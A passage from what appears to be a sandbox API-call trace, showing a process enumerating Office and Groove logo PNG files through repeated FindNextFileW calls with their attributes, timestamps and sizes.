ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-180.png", cAlternateFileName="FI8E23~1.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-80.png", cAlternateFileName="FI4144~1.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-100.png", cAlternateFileName="FI1EC9~1.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-140.png", cAlternateFileName="FIBF57~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-180.png", cAlternateFileName="FI9277~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-80.png", cAlternateFileName="FI8090~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-100.png", cAlternateFileName="FI5507~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-140.png", cAlternateFileName="FI782A~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-180.png", cAlternateFileName="FID9A4~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-80.png", cAlternateFileName="FI5606~1.PNG")) returned 1 [0188.013] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-100.png", cAlternateFileName="FID3BA~1.PNG")) returned 1 [0188.014] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-140.png", cAlternateFileName="FI1689~1.PNG")) returned 1 [0188.014] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-180.png", cAlternateFileName="FIB7A7~1.PNG")) returned 1 [0188.014] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-80.png", cAlternateFileName="FI5C4C~1.PNG")) returned 1 [0188.014] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-100.png", cAlternateFileName="FI2DF7~1.PNG")) returned 1 [0188.014] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-140.png", cAlternateFileName="FIFE2A~1.PNG")) returned 1 [0188.014] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-180.png", cAlternateFileName="FIA1A5~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x537, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-80.png", cAlternateFileName="FIED60~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-100.png", cAlternateFileName="GROOVE~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-140.png", cAlternateFileName="GROOVE~2.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199e0c45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199e0c45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-180.png", cAlternateFileName="GRA3AD~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-80.png", cAlternateFileName="GR0C5F~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-100.png", cAlternateFileName="GRADA3~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-140.png", cAlternateFileName="GR7FD5~1.PNG")) returned 1 [0188.018] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-180.png", cAlternateFileName="GR2251~1.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-80.png", cAlternateFileName="GROOVE~3.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-100.png", cAlternateFileName="GR37CD~1.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-140.png", cAlternateFileName="GR3AC7~1.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1add, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-180.png", cAlternateFileName="GR7C96~1.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-80.png", cAlternateFileName="GROOVE~4.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-100.png", cAlternateFileName="GRF89D~1.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-140.png", cAlternateFileName="GR4622~1.PNG")) returned 1 [0188.019] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-180.png", cAlternateFileName="GRBAC6~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-80.png", cAlternateFileName="GR3641~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6df, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-100.png", cAlternateFileName="GR7AE9~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-140.png", cAlternateFileName="GRF6AB~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-180.png", cAlternateFileName="GRC8DD~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-80.png", cAlternateFileName="GRE586~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-100.png", cAlternateFileName="GREDEF~1.PNG")) returned 1 [0188.020] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-140.png", cAlternateFileName="GR1CBD~1.PNG")) returned 1 [0188.021] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-180.png", cAlternateFileName="GR6942~1.PNG")) returned 1 [0188.024] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-80.png", cAlternateFileName="GR3369~1.PNG")) returned 1 [0188.024] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-100.png", cAlternateFileName="MS0237~1.PNG")) returned 1 [0188.024] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-140.png", 